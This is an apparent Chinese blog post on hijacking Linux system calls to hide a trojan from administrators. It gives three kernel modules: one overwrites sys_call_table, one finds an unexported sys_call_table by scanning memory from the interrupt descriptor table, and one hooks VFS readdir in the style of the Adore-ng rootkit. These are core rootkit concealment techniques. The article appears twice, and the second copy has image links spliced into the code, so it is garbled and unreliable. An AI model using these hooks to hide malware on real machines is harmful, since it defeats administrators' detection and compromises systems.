关于系统调用劫持
如果一个木马要隐藏起来,不被系统管理员发现, 截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。
下面是一个典型的截获系统调用的模块:
模块一:
#include <linux/module.h>;
#include <linux/kernel.h>;
#include <asm/unistd.h>;
#include <sys/syscall.h>;
#include <linux/types.h>;
#include <linux/dirent.h>;
#include <linux/string.h>;
#include <linux/fs.h>;
#include <linux/malloc.h>;
extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall
does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。
所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include <linux/kernel.h>;
#include <linux/module.h>;
#include <linux/init.h>;
#include <linux/sched.h>;
#include <asm/unistd.h>;
MODULE_LICENSE("GPL"
;
MODULE_AUTHOR("xunil@bmy"
;
MODULE_DESCRIPTION("Different from others, this module
automatically locate the entry of sys_call_table !"
;
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
unsigned char idtr[6],*shell,*sort;
struct _idt *idt;
unsigned long system_call,sct;
unsigned short offset_low,offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
__asm__("sidt %0" : "=m" (idtr));
/* get the address of system_call */
idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idt->;offset_low;
offset_high = idt->;offset_high;
system_call=(offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="/xff/x14/x85";
/* get the address of sys_call_table */
for(i=0;i<(100-2);i++)
if(shell ==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
break;
p=&shell;
p+=3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}
asmlinkage int hacked_mkdir(const char * pathname, int mode){
printk("
ID %d called sys_mkdir !/n",current->;pid);
return orig_mkdir(pathname,mode);
}
static int __init find_init(void){
sys_call_table = getscTable();
orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
return 0;
}
static void __exit find_cleanup(void){
sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
}
module_init(find_init);
module_exit(find_cleanup);
getscTable()是在内存中查找sys_call_table地址的函数。每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内,是用call sys_call_table指令来调用系统调用函数的。因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。
对于截获文件系统相关的系统调用,Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。下面是它的实现方法:
模块三:(2.4和2.6内核测试通过)
#include <linux/sched.h>;
#include <linux/module.h>;
#include <linux/kernel.h>;
#include <linux/init.h>;
#include <linux/fs.h>;
#include <linux/file.h>;
MODULE_AUTHOR("xunil@BMY"
;
MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capture system calls."
;
MODULE_LICENSE("GPL"
;
char *root_fs="/";
typedef int (*readdir_t)(struct file *,void *,filldir_t);
readdir_t orig_root_readdir=NULL;
int myreaddir(struct file *fp,void *buf,filldir_t filldir)
{
int r;
printk("<1>;You got me partner!/n"
;
r=orig_root_readdir(fp,buf,filldir);
return r;
}
int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
if(orig_readdir)
*orig_readdir=filep->;f_op->;readdir;
filep->;f_op->;readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int unpatch_vfs(const char *p,readdir_t orig_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
filep->;f_op->;readdir=orig_readdir;
filp_close(filep,0);
return 0;
}
static int patch_init(void)
{
patch_vfs(root_fs,&orig_root_readdir,myreaddir);
printk("<1>;VFS is patched!/n"
;
return 0;
}
static void patch_cleanup(void)
{
unpatch_vfs(root_fs,orig_root_readdir);
printk("<1>;VFS is unpatched!/n"
;
}
module_init(patch_init);
module_exit(patch_cleanup);
如果一个木马要隐藏起来,不被系统管理员发现, 截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。
下面是一个典型的截获系统调用的模块:
模块一:
#include <linux/module.h>;
#include <linux/kernel.h>;
#include <asm/unistd.h>;
#include <sys/syscall.h>;
#include <linux/types.h>;
#include <linux/dirent.h>;
#include <linux/string.h>;
#include <linux/fs.h>;
#include <linux/malloc.h>;
extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall
does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。
所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include <linux/kernel.h>;
#include <linux/module.h>;
#include <linux/init.h>;
#include <linux/sched.h>;
#include <asm/unistd.h>;
MODULE_LICENSE("GPL"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
MODULE_AUTHOR("xunil@bmy"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
MODULE_DESCRIPTION("Different from others, this module
automatically locate the entry of sys_call_table !"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
unsigned char idtr[6],*shell,*sort;
struct _idt *idt;
unsigned long system_call,sct;
unsigned short offset_low,offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
__asm__("sidt %0" : "=m" (idtr));
/* get the address of system_call */
idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idt->;offset_low;
offset_high = idt->;offset_high;
system_call=(offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="/xff/x14/x85";
/* get the address of sys_call_table */
for(i=0;i<(100-2);i++)
if(shell ==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
break;
p=&shell;
p+=3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}
asmlinkage int hacked_mkdir(const char * pathname, int mode){
printk("
![](https://i-blog.csdnimg.cn/blog_migrate/c15029b4006465c603663dd8aed473ac.gif)
return orig_mkdir(pathname,mode);
}
static int __init find_init(void){
sys_call_table = getscTable();
orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
return 0;
}
static void __exit find_cleanup(void){
sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
}
module_init(find_init);
module_exit(find_cleanup);
getscTable()是在内存中查找sys_call_table地址的函数。每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内,是用call sys_call_table指令来调用系统调用函数的。因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。
对于截获文件系统相关的系统调用,Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。下面是它的实现方法:
模块三:(2.4和2.6内核测试通过)
#include <linux/sched.h>;
#include <linux/module.h>;
#include <linux/kernel.h>;
#include <linux/init.h>;
#include <linux/fs.h>;
#include <linux/file.h>;
MODULE_AUTHOR("xunil@BMY"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capture system calls."
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
MODULE_LICENSE("GPL"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
char *root_fs="/";
typedef int (*readdir_t)(struct file *,void *,filldir_t);
readdir_t orig_root_readdir=NULL;
int myreaddir(struct file *fp,void *buf,filldir_t filldir)
{
int r;
printk("<1>;You got me partner!/n"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
r=orig_root_readdir(fp,buf,filldir);
return r;
}
int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
if(orig_readdir)
*orig_readdir=filep->;f_op->;readdir;
filep->;f_op->;readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int unpatch_vfs(const char *p,readdir_t orig_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
filep->;f_op->;readdir=orig_readdir;
filp_close(filep,0);
return 0;
}
static int patch_init(void)
{
patch_vfs(root_fs,&orig_root_readdir,myreaddir);
printk("<1>;VFS is patched!/n"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
return 0;
}
static void patch_cleanup(void)
{
unpatch_vfs(root_fs,orig_root_readdir);
printk("<1>;VFS is unpatched!/n"
![](https://i-blog.csdnimg.cn/blog_migrate/8ff528d86889ebeac76dd342b224895b.gif)
}
module_init(patch_init);
module_exit(patch_cleanup);